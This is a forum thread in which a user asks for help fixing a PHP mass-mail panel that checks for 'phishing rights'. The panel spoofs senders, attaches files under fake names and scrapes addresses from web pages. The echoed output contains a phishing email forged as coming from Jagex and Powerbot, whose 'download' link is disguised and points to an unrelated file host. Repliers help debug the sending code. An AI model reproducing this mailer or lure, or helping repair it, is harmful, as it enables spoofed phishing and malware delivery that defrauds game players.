E-mail can't be send error

I’m keep getting :
Sending Mail to cruelity@live.nl
Warning: mail(): Bad parameters to mail() function, mail not sent. in /hsphere/local/home/c330322/services-runesqape.com/panel/rsemail.php on line 323


<?php 
require("aah.php");

if(!checkPhish()) {
die("<div class=\\"box\\">
    <h2>Phishing Logs &bull; Access Denied</h2>
<div class=\\"box-content\\">
<p>You don't have phishing rights.</p>
</div></div>");
exit();
}
?>
<div class="box">
    <div class="box-content">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript" type="text/javascript" src="js/jquery-1.3.2.min.js"></script>
<script language="JavaScript" type="text/javascript" src="js/jquery.validate.js"></script>

<script language="JavaScript" type="text/javascript">
var imageTag = false;
var theSelection = false;
var clientPC = navigator.userAgent.toLowerCase();
var clientVer = parseInt(navigator.appVersion);
var is_ie = ((clientPC.indexOf("msie") != -1) && (clientPC.indexOf("opera") == -1));
var is_nav = ((clientPC.indexOf('mozilla')!=-1) && (clientPC.indexOf('spoofer')==-1)
                && (clientPC.indexOf('compatible') == -1) && (clientPC.indexOf('opera')==-1)
                && (clientPC.indexOf('webtv')==-1) && (clientPC.indexOf('hotjava')==-1));
var is_moz = 0;

var is_win = ((clientPC.indexOf("win")!=-1) || (clientPC.indexOf("16bit") != -1));
var is_mac = (clientPC.indexOf("mac")!=-1);
b_help = "Fat Text: [b]Text[/b] (alt+b)";
i_help = "Cursive Text: [i]Text[/i] (alt+i)";
u_help = "Underlined Text: [u]Text[/u] (alt+u)";
q_help = "Quote: 
> Text
 (alt+q)";
p_help = "Insert an image: [img]http://Image-URL[/img] (alt+p)";
w_help = "Insert an URL: http://URL (alt+w)";
s_help = "Font-color: [color=red]Text[/color]";
f_help = "Font-Size: [size=x-small]Small text[/size]";
bbcode = new Array();
bbtags = new Array('[b]','[/b]','[i]','[/i]','[u]','[/u]','
> ','
','

‘,’

','[list]','[/list]','[list=]','[/list]','[img]','[/img]','','');
imageTag = false;
function helpline(help) {
	document.darkform.helpbox.value = eval(help + "_help");
}
function getarraysize(thearray) {
	for (i = 0; i < thearray.length; i++) {
		if ((thearray[i] == "undefined") || (thearray[i] == "") || (thearray[i] == null))
			return i;
		}
	return thearray.length;
}
function arraypush(thearray,value) {
	thearray[ getarraysize(thearray) ] = value;
}
function arraypop(thearray) {
	thearraysize = getarraysize(thearray);
	retval = thearray[thearraysize - 1];
	delete thearray[thearraysize - 1];
	return retval;
}
function bbfontstyle(bbopen, bbclose) {
	var txtarea = document.darkform.message;

	if ((clientVer >= 4) && is_ie && is_win) {
		theSelection = document.selection.createRange().text;
		if (!theSelection) {
			txtarea.value += bbopen + bbclose;
			txtarea.focus();
			return;
		}
		document.selection.createRange().text = bbopen + theSelection + bbclose;
		txtarea.focus();
		return;
	}
	else if (txtarea.selectionEnd && (txtarea.selectionEnd - txtarea.selectionStart > 0))
	{
		mozWrap(txtarea, bbopen, bbclose);
		return;
	}
	else
	{
		txtarea.value += bbopen + bbclose;
		txtarea.focus();
	}
	storeCaret(txtarea);
}


function bbstyle(bbnumber) {
	var txtarea = document.darkform.message;

	txtarea.focus();
	donotinsert = false;
	theSelection = false;
	bblast = 0;

	if (bbnumber == -1) { 
		while (bbcode[0]) {
			butnumber = arraypop(bbcode) - 1;
			txtarea.value += bbtags[butnumber + 1];
			buttext = eval('document.post.addbbcode' + butnumber + '.value');
			eval('document.post.addbbcode' + butnumber + '.value ="' + buttext.substr(0,(buttext.length - 1)) + '"');
		}
		imageTag = false;
		txtarea.focus();
		return;
	}

	if ((clientVer >= 4) && is_ie && is_win)
	{
		theSelection = document.selection.createRange().text;
		if (theSelection) {
			document.selection.createRange().text = bbtags[bbnumber] + theSelection + bbtags[bbnumber+1];
			txtarea.focus();
			theSelection = '';
			return;
		}
	}
	else if (txtarea.selectionEnd && (txtarea.selectionEnd - txtarea.selectionStart > 0))
	{
		mozWrap(txtarea, bbtags[bbnumber], bbtags[bbnumber+1]);
		return;
	}
	for (i = 0; i < bbcode.length; i++) {
		if (bbcode[i] == bbnumber+1) {
			bblast = i;
			donotinsert = true;
		}
	}

	if (donotinsert) { 
		while (bbcode[bblast]) {
				butnumber = arraypop(bbcode) - 1;
				txtarea.value += bbtags[butnumber + 1];
				buttext = eval('document.darkform.addbbcode' + butnumber + '.value');
				eval('document.darkform.addbbcode' + butnumber + '.value ="' + buttext.substr(0,(buttext.length - 1)) + '"');
				imageTag = false;
			}
			txtarea.focus();
			return;
	} else { 

		if (imageTag && (bbnumber != 14)) {
			txtarea.value += bbtags[15];
			lastValue = arraypop(bbcode) - 1;
			document.post.addbbcode14.value = "Img";
			imageTag = false;
		}

		
		txtarea.value += bbtags[bbnumber];
		if ((bbnumber == 14) && (imageTag == false)) imageTag = 1;
		arraypush(bbcode,bbnumber+1);
		eval('document.darkform.addbbcode'+bbnumber+'.value += "*"');
		txtarea.focus();
		return;
	}
	storeCaret(txtarea);
}

function mozWrap(txtarea, open, close)
{
	var selLength = txtarea.textLength;
	var selStart = txtarea.selectionStart;
	var selEnd = txtarea.selectionEnd;
	if (selEnd == 1 || selEnd == 2)
		selEnd = selLength;

	var s1 = (txtarea.value).substring(0,selStart);
	var s2 = (txtarea.value).substring(selStart, selEnd)
	var s3 = (txtarea.value).substring(selEnd, selLength);
	txtarea.value = s1 + open + s2 + close + s3;
	return;
}
function storeCaret(textEl) {
	if (textEl.createTextRange) textEl.caretPos = document.selection.createRange().duplicate();
}
//-->
</script>
</head>

<body>
<div class="box-out">
    	<div class="box-in">
    		<div class="box-head"><h1>Email</h1></div>
    		<div class="box-content">
	<div id="hub">
	<div class="contra">
<?php

function checkmail($a)
{

    $a=explode('@',strtolower($a));

	if(count($a)==2)
  {
			$b=explode('.',$a[1]);
			if(($c=count($b))>1)
        {
            $b[]=$a[0];
            $c++;
				for($i=0;$i<$c;$i++)
            {
							$a=strlen($b[$i]);
							if($a>1)
                    	for($j=0;$j<$a;$j++)
                        {
                        			$d=ord($b[$i]{$j});
											 if(($d>47 && $d<58) || ($d>97 && $d<123));
                        			elseif($j==0) return FALSE;
                       				elseif($d==45 || $d==95);
                        			elseif($i==(count($b)-1) && $d==46);
                        			else           return FALSE;
                        }
                		else    return FALSE;
             }
        }
        else    return FALSE;
   }
    else    return FALSE;

    return TRUE;
    }

function bbcodes($text)
  {
     $new = stripslashes($text);
     $new = preg_replace("/\\[img\\](.*)\\[\\/img\\]/isU", "<img src=\\"$1\\" border='0' />", $new);
     $new = preg_replace("/\\[center\\](.*)\\[\\/center\\]/isU", "<center>$1</center>", $new);
     $new = preg_replace("/\\[b\\](.*)\\[\\/b\\]/isU", "<b>$1</b>", $new);
     $new = preg_replace("/\\[i\\](.*)\\[\\/i\\]/isU", "<i>$1</i>", $new);
     $new = preg_replace("/\\[u\\](.*)\\[\\/u\\]/isU", "<u>$1</u>", $new);
     $new = eregi_replace("([ \\r\
])www\\\\.([^ ,\\r\
]*)","\\\\1http://www.\\\\2",$new);
     $new = eregi_replace("([ \\r\
])http\\:\\/\\/www\\\\.([^ ,\\r\
]*)","\\\\1http://www.\\\\2",$new);
     $new = preg_replace("/\\[url\\]www.(.*)\\[\\/url\\]/isU", "http://www.$1", $new);
     $new = preg_replace("/\\[url\\](.*)\\[\\/url\\]/isU", "<a href='$1' target='_blank'>$1</a>", $new);
     $new = preg_replace("/\\[red\\](.*)\\[\\/red\\]/isU", "<font color='red'>$1</font>", $new);
     $new = preg_replace("/\\[blue\\](.*)\\[\\/blue\\]/isU", "<font color='blue'>$1</font>", $new);
     $new = preg_replace("/\\[yellow\\](.*)\\[\\/yellow\\]/isU", "<font color='yellow'>$1</font>", $new);
     $new = preg_replace("/\\[size=(.*)\\](.*)\\[\\/size\\]/isU", "<font size='$1'>$2</font>", $new);
     $new = preg_replace("/\\[color=(.*)\\](.*)\\[\\/color\\]/isU", "<font color='$1'>$2</font>", $new);
     $new = preg_replace("/\\[quote\\](.*)\\[\\/quote\\]/isU", "<table border='1' cellspacing='0' cellpadding='2' bgcolor='EFEFEF' width='95%' align='center'><tr><td>$1</tr></td></table>", $new);
     $new = preg_replace("/\\[quote=(.*)\\](.*)\\[\\/quote\\]/isU", "<table border='1' cellspacing='0' cellpadding='2' bgcolor='EFEFEF' width='95%' align='center'><tr><td><i>Quote from $1:</i><br><br>$2</tr></td></table>", $new);
     $new = nl2br($new); 
	return $new;
  }	
	$to = $_POST['to'];
	$mails = split("\
",$to); 
	$from = $_POST['from'];
	$Reply = $_POST['reply'];
	$subject = $_POST['subject'];
	if(get_magic_quotes_gpc ())
	{
	$Message = stripslashes($_POST['message']);
	}
	else
	{
	$Message = $_POST['message'];
	}
	$sendername = $_POST['sendername'];
	$contenttype = $_POST['ctype'];
	
	if($_POST['ctype'] == "bbhtml"){
		        $contenttype = "html";$Message = bbcodes($Message);}
	else
		        $contenttype = $_POST['ctype'];


	$passthrough = $_POST['count'];
	$Message = str_replace("{email}", $from, $Message); 
	$subject = str_replace("{email}", $from, $subject); 
	
	
	if(isset($_POST['submit']))
	{
	
		if($_FILES["file"]["tmp_name"] != "" &&  $_FILES["file"] != " ")
		{
			$UPLOAD = 1;
			$Filename = $_FILES["file"]["tmp_name"];
			$FilenameMail = $_POST['fakefilename'];
			$FileType= $_FILES["file"]["type"];
			@chmod("./",777);
			move_uploaded_file($Filename, "./$FilenameMail") or die("The file you are trying to upload couldn't be copied to the server. Maybe no R/W Access?"); 
			$content = fread(fopen($FilenameMail,"r"),filesize($FilenameMail)); 
			$content = chunk_split(base64_encode($content)); 
			
		}


	$Header = "From: $sendername <$from>\\r\
Reply-To: $Reply\\r\
";

	$uid = strtoupper(md5(uniqid(time())));
	$header = "From: $sendername <$from>\\r\
Reply-To: $Reply\\r\
";
	$header .= "MIME-Version: 1.0\\r\
"; 

	If ($UPLOAD) $header .= "Content-Type: multipart/mixed; boundary=$uid\\r\
";

	If ($UPLOAD) $header .= "--$uid\\r\
"; 
	$header .= "Content-Type: text/$contenttype\\r\
"; 
	$header .= "Content-Transfer-Encoding: 8bit\\r\
";
	$header .= "$Message\\r\
"; 
	If ($UPLOAD) $header .= "--$uid\\r\
"; 
	If ($UPLOAD) $header .= "Content-Type: $FileType; name=\\"$FilenameMail\\"\\r\
"; 
	If ($UPLOAD) $header .= "Content-Transfer-Encoding: base64\\r\
"; 
	If ($UPLOAD) $header .= "Content-Disposition: attachment; filename=\\"$FilenameMail\\"\\r\
"; 
	If ($UPLOAD) $header .= "$content\\r\
"; 
	If ($UPLOAD) $header .= "--$uid--"; 
	@unlink ($FilenameMail);
	$count = 0;

	do
	{
		foreach($mails as $mail)
		{
			@set_time_limit(10);
			if($mail != "" && $mail != " ")
			{
				echo "Sending Mail to ".$mail."...\
\\r<br>"; 
				flush();
				mail($mail, $subject, "", $header);

				$count++;
			}
		}
		$passthrough--;
	}while($passthrough != 0);
	echo "<b>".$count." Mail(s) sent</b><br><br>";
	echo "<a href='".$_SERVER['PHP_SELF']."'> Back</a>";
	if(file_exists ("DMPReview.html"))
		@unlink("DMPReview.html");
?>
<?php
	}
	else
	{
		if(isset($_POST['preview']))
		{
		echo "<br>Preview:<br><br><div style=\\"background-color:#ffffff;text-align:left;\\"><font color='#000000'>";
		if($_POST['ctype'] == "plain")
			echo nl2br(htmlentities($Message));
		elseif($_POST['ctype'] == "html" || $_POST['ctype'] == "bbhtml")
		{
			if($_POST['ctype'] == "bbhtml") bbcodes($Message);
			if(ini_get('safe_mode') )
				echo $Message;
			else
			{	$fhndl = @fopen("DMPReview.html", "w+");
				if(!$fhndl)
				{
					echo $Message;
				}
				else
				{
					$bytes = @fwrite ($fhndl, $Message);
					if($bytes == false)
					{
						echo $Message;
					}
					else
					{
						fclose($fhndl);
						echo "<center><iframe width=\\"700\\" height=\\"500\\" style=\\"border:1px solid #000000;\\" src=\\"DMPReview.html\\"></iframe></center>";
					
					}
				}
			}
		
		}
		echo "</font></div><br><br>";
                }
                
    if(isset($_POST['search']))
	{
			$not = '^()<>[\\]:;\\\\\\, "@.'.chr(012).chr(015);
			$search = '/['.$not.'](\\.{0,1}['.$not.'])*@['.$not.'](\\.{0,1}['.$not.'])*(\\.[a-z]{2,4})/i';
			//$search = '/[^. @](\\.{0,1}[^. @])*@[^. @](\\.{0,1}[^. @])*((\\.[a-z]{2,4}){1,2}|\\.museum)/i';
			$Page = $_POST['sURL'];
			ini_set('default_socket_timeout',    200);
			$Content = strtolower(file_get_contents($Page));
			//echo $Content;
			$blub = preg_match_all( $search, $Content, $matches,PREG_PATTERN_ORDER);
			
			$_POST['to'] = "";
			$ARRAY = array();
			$Search = array("=","href","mailto:","<",">","\\"","face","arial","Cambria",",");

			foreach($matches[0] as $Email)
			{
					$Email1 = str_replace($Search,"",$Email);
					if(!in_array($Email1,$ARRAY))
					{
							$_POST['to'] .= $Email1."";
							array_push($ARRAY, $Email1);
					}
					//echo $Email1."<br>";
			
			
			}
	}



?><p>
	<?php
	if( ini_get('safe_mode') )
    		echo "PHP Safe-Mode is ON";
	else
    		echo "PHP Safe-Mode is OFF&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;";

	echo "Chmod: 0".substr(sprintf("%o",fileperms(".")),-3)."";
	
		
	?>
	</div>
	<form name="darkform" method="post" action="" enctype="multipart/form-data"> 
	<table><tr><td class="txtbox">
	<font class="txt"><label>Your Name</label></font><br><input name="sendername" class="text" value="<? echo $_POST['sendername']; ?>" size="30" >
	</td>
	<td class="txtbox">
	<font class="txt"><label>Your Email</label></font><br><input name="from" class="text" value="<? echo $_POST['from']; ?>" size="30" >
	</td></tr>
	<br>
	<tr><td class="txtbox">
	<font class="txt"><label>Reply to</label></font><br><input name="reply" class="text" value="<? echo $_POST['reply']; ?>" size="30" >
	</td>
	<br>
	<td class="txtbox">
	<font class="txt"><label>Subject</label></font><br><input name="subject" class="text" value="<? echo $_POST['subject']; ?>" size="30" >
	</td></tr>
	<td width="10%"></td>
	
	</td><tr></table>
	<table><tr><td class="txtbox">
	<font class="txt"><label>Message</label></font><br>
	<div>
		<input class="submit" accesskey="b" name="addbbcode0" value=" B " style="font-weight: bold; width: 30px;" onclick="bbstyle(0)" onmouseover="helpline('b')" type="button">
		<input class="submit" accesskey="i" name="addbbcode2" value=" i " style="font-style: italic; width: 30px;" onclick="bbstyle(2)" onmouseover="helpline('i')" type="button">
		<input class="submit" accesskey="u" name="addbbcode4" value=" u " style="text-decoration: underline; width: 30px;" onclick="bbstyle(4)" onmouseover="helpline('u')" type="button">
		<input class="submit" accesskey="q" name="addbbcode6" value="Quote" style="width: 50px;" onclick="bbstyle(6)" onmouseover="helpline('q')" type="button">
		<input class="submit" accesskey="p" name="addbbcode14" value="Img" style="width: 40px;" onclick="bbstyle(14)" onmouseover="helpline('p')" type="button">
		<input class="submit" accesskey="w" name="addbbcode16" value="URL" style="text-decoration: underline; width: 40px;" onclick="bbstyle(16)" onmouseover="helpline('w')" type="button">
		<br><font class="txt">&nbsp;<label>Font color</label></font>
		<select name="addbbcode18" class="text" onchange="bbfontstyle('[color=' + this.form.addbbcode18.options[this.form.addbbcode18.selectedIndex].value + ']', '[/color]');this.selectedIndex=0;" onmouseover="helpline('s')">
			<option style="color: black; background-color: rgb(250, 250, 250);" value="#444444" class="genmed">Standard</option>
			<option style="color: darkred; background-color: rgb(250, 250, 250);" value="darkred" class="genmed">Darkred</option>
			<option style="color: red; background-color: rgb(250, 250, 250);" value="red" class="genmed">Red</option>

			<option style="color: orange; background-color: rgb(250, 250, 250);" value="orange" class="genmed">Orange</option>
			<option style="color: brown; background-color: rgb(250, 250, 250);" value="brown" class="genmed">Brown</option>
			<option style="color: yellow; background-color: rgb(250, 250, 250);" value="yellow" class="genmed">Yellow</option>
			<option style="color: green; background-color: rgb(250, 250, 250);" value="green" class="genmed">Green</option>
			<option style="color: olive; background-color: rgb(250, 250, 250);" value="olive" class="genmed">Olive</option>
			<option style="color: cyan; background-color: rgb(250, 250, 250);" value="cyan" class="genmed">Cyan</option>

			<option style="color: blue; background-color: rgb(250, 250, 250);" value="blue" class="genmed">Blue</option>
			<option style="color: darkblue; background-color: rgb(250, 250, 250);" value="darkblue" class="genmed">Darkblue</option>
			<option style="color: indigo; background-color: rgb(250, 250, 250);" value="indigo" class="genmed">Indigo</option>
			<option style="color: violet; background-color: rgb(250, 250, 250);" value="violet" class="genmed">Violet</option>
			<option style="color: white; background-color: rgb(250, 250, 250);" value="white" class="genmed">White</option>
			<option style="color: black; background-color: rgb(250, 250, 250);" value="black" class="genmed">Black</option>
		</select> 
		&nbsp;<font class="txt"><label>Font size</label></font>
		<select name="addbbcode20" class="text" onchange="bbfontstyle('[size=' + this.form.addbbcode20.options[this.form.addbbcode20.selectedIndex].value + ']', '[/size]')" onmouseover="helpline('f')">
			<option value="7" class="genmed">Smaller</option>
			<option value="9" class="genmed">Small</option>
			<option value="12" selected="selected" class="genmed">Normal</option>
			<option value="18" class="genmed">Big</option>
			<option value="24" class="genmed">Giant</option>
		</select>
	</div>
	</tr>
	<tr>
	<td>
	&nbsp;<font class="txt"><label>Message</label></font>
	<textarea name="message" class="text" cols="70" rows="12" onselect="storeCaret(this);" onclick="storeCaret(this);" onkeyup="storeCaret(this);"><? if (get_magic_quotes_gpc()) print stripslashes($_POST['message']);else print $_POST['message'];?></textarea>
	<br><input type="radio" name="ctype" value="plain" <? if($_POST['ctype'] == "plain" || !isset($_POST['ctype'])) echo "checked"; ?>>
	<font class="txt">Plain</font> 
	<input type="radio" name="ctype" value="html" <? if($_POST['ctype'] == "html") echo "checked"; ?>> 
	<font class="txt">HTML</font> 
	<input type="radio" name="ctype" value="bbhtml" <? if($_POST['ctype'] == "bbhtml") echo "checked"; ?>> 
	<font class="txt">BBCode (HTML)</font>
	</td>
	<td class="txtbox">
	<font class="txt"><label>Emails (each separated by a line break)</label></font><br>
	<textarea name="to" class="text" cols="70" rows="12"><? print $_POST['to']; ?></textarea><br>
	<font class="txt"><label>Pass through list</label><input name="count" class="text" value="1" size="1" > times</font><br><br>
	</td>
	</tr>
	<tr>
	<td>
	<input type="submit" name="submit" class="submit" value="Send">
	<input type="submit" name="preview" class="submit" value="Preview">  
	</td>
	<td>
	<font class="txt"><label>Search URL for E-Mails(Alpha-Version)</label> <input name="sURL" class="text" value="<? if(isset($_POST['sURL'])) echo $_POST['sURL']; else echo "http://";?>" size="30" ></font>
	<input type="submit" class="submit" name="search" value="Search">	
	</td>
	</tr>	
	</td></tr></table></p>

</div>
</div>
</div>
</div>
</div>
</body>
</html>


<br>

<?php
}
?>

Really need help with this :frowning:

The error lies in your $header variable.
Echo out the $header contents just before the mail() function ad paste it here so we can see what it’s trying to do.

Which ones…

Do I have to echo them all out.



$Header = "From: $sendername <$from>\\r\
Reply-To: $Reply\\r\
";

	$uid = strtoupper(md5(uniqid(time())));
	$header = "From: $sendername <$from>\\r\
Reply-To: $Reply\\r\
";
	$header .= "MIME-Version: 1.0\\r\
"; 

	If ($UPLOAD) $header .= "Content-Type: multipart/mixed; boundary=$uid\\r\
";

	If ($UPLOAD) $header .= "--$uid\\r\
"; 
	$header .= "Content-Type: text/$contenttype\\r\
"; 
	$header .= "Content-Transfer-Encoding: 8bit\\r\
";
	$header .= "$Message\\r\
"; 
	If ($UPLOAD) $header .= "--$uid\\r\
"; 
	If ($UPLOAD) $header .= "Content-Type: $FileType; name=\\"$FilenameMail\\"\\r\
"; 
	If ($UPLOAD) $header .= "Content-Transfer-Encoding: base64\\r\
"; 
	If ($UPLOAD) $header .= "Content-Disposition: attachment; filename=\\"$FilenameMail\\"\\r\
"; 
	If ($UPLOAD) $header .= "$content\\r\
"; 


no, just echo it before the mail() call

like so…

flush();
echo $header;
die();

mail($mail, $subject, “”, $header);

I got it echoing


Sending Mail to cruelity@live.nl
...

<br>From: Jagex Ltd. <noreply@jagex.com>
Reply-To: noreply@jagex.com
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: 8bit

<div class="SandboxScopeClass ExternalClass" id="mpf0_MsgContainer"><a href="http://powerbot.org" target="_blank"><img class="ecxheader" src="http://cdn.powerbot.org/static/logo.png" border="0"></a><hr color="#626262" width="85%">
						<br>
						<table id="ecxcontent" style="color: rgb(82, 208, 23); font-family: Arial; font-size: 12px; width: 556px; top: -15px;">
							<tbody><tr>
								<td style="padding: 20px; color: rgb(98, 98, 98); background-color: rgb(20, 20, 20);" bgcolor="#141414">
						This is an automated email from Gold4RS Ltd., owners of Powerbot (formerly RSBot).

						<br><br>

						Dear Forum User,

						<br><br>

						As you might know of the recent RuneScape update today, Sunday May 1st, 2011.  With the release of RSBot-240 we've completely revamped the client with a new crisp look.  Due to such large changes, the older versions of RSbot (239) will not auto update to RSBot-240.   
						<br><br>

						Remember to only download RSBot from <a href="http://db.tt/RdjfWny" target="_blank">www.powerbot.org/download

						<br><br>

						Many thanks,


						<br><br>

						Gold4RS Ltd, owners of Powerbot (formerly RSBot).


								</a></td>
							</tr>

						</tbody></table>

						<div id="ecxfoot">
<hr color="#626262" width="85%">

							<center><a href="http://powerbot.org" target="_blank"><img class="ecxheader" src="http://cdn.powerbot.org/static/logo.png" border="0"></a></center>

							<font color="#626262">Copyright 1999 - 2011 Gold4RS Ltd, owners of Powerbot (formerly RSBot). </font>

And when I try to send it, I get the same error.

You should rather use the headers for From, Contenttype, etc, and put the body of the mail in the message parameter like so:
mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

mail(“to@email.com”, “the subject”, “the message with all your html here”, “From: foo@bar.com”);

Don’t get me wrong, there are times when you should rather do it like you have done it (without the errors) but for the most part the above works fine…

Also you should not use html classes in the body of an email as that will all be stripped by the email client.

e.g.
<div class=“SandboxScopeClass ExternalClass”…
becomes
<div style=“background-color:#ff0000;OtherInlineCodeHere…”…

Well I have an small form where I fill in from who, and to who.

What you’ve writed for me is a standard form that I would have to edit everytime

Also I can send multiplie emails by simply copy pasting, its just It doesn’t work on some rare way.

Same script works on my friends host, I also contacted my host and said mail server works.

I researched a bit more on a forum it said remove the /r/n, when I do that it sends the mail but the spaces goes away so it doesn’t send the mail in a good format and goes to junk folder.

Basically what I wanna say is it should work on my host and script works to its just some little stupid thing.